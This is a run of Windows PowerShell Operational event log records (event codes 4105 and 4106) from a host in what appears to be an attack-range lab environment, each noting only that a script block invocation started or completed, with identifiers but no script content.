Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037569
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037564
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037563
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037541
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037540
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037539
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037538
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
